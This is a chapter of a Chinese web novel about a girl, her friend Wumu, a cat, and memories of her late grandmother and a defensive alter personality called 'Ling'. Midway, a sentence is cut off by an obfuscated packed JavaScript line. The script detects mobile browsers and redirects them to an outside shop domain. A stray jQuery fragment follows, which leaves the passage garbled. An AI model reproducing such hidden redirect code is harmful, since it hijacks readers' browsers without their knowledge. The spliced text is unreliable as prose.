饭桌小小的，旧旧的，却是外婆走后第一次有了热闹的温度。普普通通的两菜一汤，我和少年，还有一只小猫。
这个家我很满意。
心中的那点小失落很快压进米饭里，伴着两筷子不怎么爱吃的番茄炒鸡蛋下了肚，虽然在胃里鼓鼓涨涨，但还好，没有到吞咽消化不了的程度。
“乌木，我可以问你一个问题吗？”
饭桌上有些冷清，平日里总话不停的少年沉默埋头，我代替他成为那个挑开话匣的人。
乌木将一块鸡蛋吹凉喂给小猫，听到我的话顿了一下，他神色有些莫名的紧张，但还是向我点头。盯着他的眼，我看奇怪的情绪起起伏伏，我想他或许是害怕我问出不合时宜的问题不知如何回答。
算了，不问了。我没那么不聪明。
筷子拌鸡蛋，又味同嚼蜡地咽下去两口，我低下头吃饭，少年声沉闷：“不问了吗？”
我脑袋向上扬，看着他对我笑。明亮的眸紧盯我，笑容一点一点将疑惑抬明。
难道他想我问吗？
可他饭桌前的表现……我看不懂乌木，也搞不明白问是不问，一个好难好难的题摆在我面前。
我头疼。我看着乌木，乌木也看着我，他说，“想问的话可以问。”
“可以问？”我放下筷子，又确认一遍。
“嗯，问什么都可以。”乌木总会为我的时间按下暂停键，就像现在一样，见我放下筷子，他顺手将吃美了想睡觉的毛茸茸递过给我，自己一个人很熟稔地收拣起碗筷。细碎的叮哩哐啷奏响和弦，水流声为它支支吾吾伴奏，它们的交织声中，温柔的长音刮蹭痒我的耳，我想问的人明确表达我可以。
“如果是关于先前的话题呢？”我还是有些谨慎，我不希望我的朋友因为我的问题而不愉快，有些一而再再而三的反复。
“也可以。”
乌木蹲在地上，两个小盆里的水用来洗碗。
“你为什么喜欢木头？”其实我想问的是到底可不可以和我做一辈子好朋友，可那很叫他为难，所以我选择温和一点的方式从旁敲问。
“喵～”
小七宝绕起尾巴盘作小小一团缩进我怀里，反复调整到觉得舒适才安静地窝下来。它萌萌的大眼睛像开壳子到一半的开心果，半眯着盯看我，一副“人，叽里咕噜说什么呢，喵听不懂”的迷糊派头。
我揉揉它的小脑袋，助它关上开心果狭眯的小门。
待它呼噜呼噜进入梦乡，只剩歪趴的毛茸茸温暖我手心，乌木才给了我回答。
他说：“枯木逢春。很有希望，不是吗？”
希望。
又是一个不太属于我生命中的陌生名词。
“或许是吧。”我总不太希望扫朋友的兴，我学着用了一下这个名词。上一次用，还是在写下与他的愿望时。
好像我的希望总是与他有关。
---------------------------------------
2019年1月21日星期一尾牙
---------------------------------------
二月初二做头牙，腊月十六自尾牙，其实这些我也不太懂，是从外婆那里听来的。
日渐模糊的记忆不停往回拉，胶卷的撕拉片不停向外扯。
温柔的小老太从闽边嫁到小镇，又一步一步走出了小镇，我参与的后半生里，她对什么都淡淡的，唯独提到外公时会沉默的一阵一阵不说话。
她会和我过正常的节日，在那些我鲜少体会的热闹中给予我向外的认知。不同于地理书上那样，她给我带回过钟乳石，还有大西洋的眼泪。那些都是她与外公一起经历的美好。
外公年轻时很爱动，兜里有子，喜欢带着外婆山南海北的走。两人不同于过旧年代里的人一样对后代有过多的寄望，他们没有反对妈妈回到小镇，也乐于支持妈妈去做想做的一切。所有糟糕的不可预知的部分，他们都愿意去承担，唯独没想到的是生育时的疾病会困牢妈妈，也困牢他们。
妈妈葬在了小镇里，成了昆山上一座小小的坟。外公带着外婆看过我，两人离开阴云笼罩的冬安，很久很久没回来。
自那以后，爸爸在巷子尾开的那个不大不小的便利店也拉上卷帘，那道门再没开过。
而我，记忆里只有胡子拉碴的爸爸和旧相片里的妈妈。
外婆回来的第一日，我不认识她，只隐隐觉得又是一个从哪冒出来的没安好心的坏家伙，打着亲戚的名义要带走我，折腾我。初次见面，她的一句“小娩，我是外婆”将我从被人领养的欢喜里割出，我恐惧、憎恶，什么所谓的亲戚，在我眼中都是饿狼猛虎。
恐慌着，零从我的身体里挤出，他咬了她，松手后拼命地跑。
他想带着我跑回孤儿院，跑回那个起码内心觉得还算安全的地方。
可孤儿院不接收收养人还在二次打回的孤儿，也不对外开放。
零没有地方可去，他躲到了小镇的桥洞下过夜，占到别人的位置换挨一顿打。
外婆又一次找到他，找到我。
零是一个暴躁因子，在外婆去世之前我从未觉察他的出现。小女孩的出现源于懦弱卑怯，陈纾是我构想中的自己，为心中不断滋生的愤怒和反抗化形。而零，他是恐慌与逃避共同养育大的孩子，他对所有人都是防备的姿态，诞生在我差点溺毙河中接近窒息的那一瞬。
他是一个狼孩，划分安全的领地才会让他平静，选择栖息。
他对危险的嗅觉敏锐，任何恐慌都会让他想要逃离，在逃离之前，他会对危险的东西做上记号。无论庞然大物还是芝麻小粒，他都习惯咬上一口，而人类的记号在虎口掌的位置。
零不会说话，他的所有行动都出自逃跑本能，就像那个月亮渐满的夜，他趴在外婆前，小小的一个，龇牙狂吠。直到沾着山茶香气的风衣落到疼痛青紫的身上制止了他，陌生的暖意会让人发颤，他终于抬眼看一看站在身前面目慈祥的老人。
老人笑着，温柔，她对零咬伤她没有丝毫芥蒂。
她口中唤着我名字：“小娩，跟外婆回家好吗？”
彼时的零为那份轻柔动容，他以为的石头落到身上不痛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783711|209772||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还带起棉花般软的触感，他收起了动物界里用于威慑的獠牙。而后来知道事情全貌的我却只想，那样一个混乱的地方，一个颤颤巍巍的老太太，她怎么敢……
又为什么愿意。我咬伤了她，在她的虎口掌留下一个岁月洗不净的痕，她应该厌恶我这样的小鬼。
我害死了她精心呵护的独女，她没理由接纳这样一个我，更不应为了这样的一个我回到小镇。我是令人恶心、满身厄运的脏污，没有我，她的人生不会拮据。
可那时的她只是用纸巾混着路边的泥巴灰随意地遮掩伤口，一路问过，一路找来，从正午的高阳到暗黑低悬的月夜，她一刻也不曾歇。
汗珠嘲笑人老的年迈，蜂蛹着挤上她的衣襟，在她脸上扯出更多虚软的褶皱。而她，只是笑，对着我笑，对着零，温温和和地递出话：“外婆以后不会再让你受委屈了。”
她说，“对不起。”
零的世界里第一次听到关于对不起的字眼，他怔愣地皱起眉，试图理解人类的对不起是什么？又为何要和他说？
“啊啊，呜呜。”零缩着身子，却向上张望，他仍防备她，只是没那么想要逃离，也没有逃离的力气。
瘦弱的他被抢了位置的流浪汉狠狠训过，流浪汉的恶意里没有收手这种说法，他疼得每一块骨头都在嘶吼。狼是群居动物，零的诞生与这样天真的想法有关，可生活告诉他，不是，他不会拥有同伴。
他和我一样渴望着被人豢养，做一匹没骨气的狼。
而外婆是我们共同的主人。
外婆有安全的领地，有获得食物的力量，她不打骂零，零喜欢她。
零排挤我，他不愿意与我共享他的空间，我从不知道他的存在。有小女孩和陈纾，我也没有怀疑过不同，陈纾那样的任性鬼，她做了什么事都有可能偷摸藏着掖着不告诉我。
我对出现的空白记忆从一开始的茫然无措慢慢已成很快的调整接受，不需要过问，所有多余的缺失空白都被扣头到陈纾身上。
她一人背了好大的锅。
零讨厌我，就像小猫小狗想主人身上只有自己的味道一样。
他像个幼稚鬼，总喜欢趁着我受到惊吓时挤进来，所以外婆时时会见到昨天还正常的我变得只会“啊啊呜呜”，她不好与我明说我身体的不对劲，害怕刺激到我。为此悄摸在医院给我缴了一大比钱，差不多能管我未来二十年的医疗费用，说是为了我的身体发育不受影响，把我当小孩哄。
十一岁的我，长期营养不良，发育总是落后同龄人一大截。
再加上我读书，找一个愿意接受我的学校也是麻烦事，各种人情世故走一走，动一动，我们的家里开始变穷。
外面流言蜚语漫天，我的事在小巷里翻来滚去，几乎是所有人都知道的存在。
别人不理解我这样的人为什么要被送进学校，他们觉得我是污染源，而外婆，成了他们口中打开潘多拉魔盒，释放灾难的那个坏人。
外婆受我牵连，慢慢的也不受人待见。
大人闲言碎语地接上两句，尚且会背着人，小孩不一样。
善恶都纯真。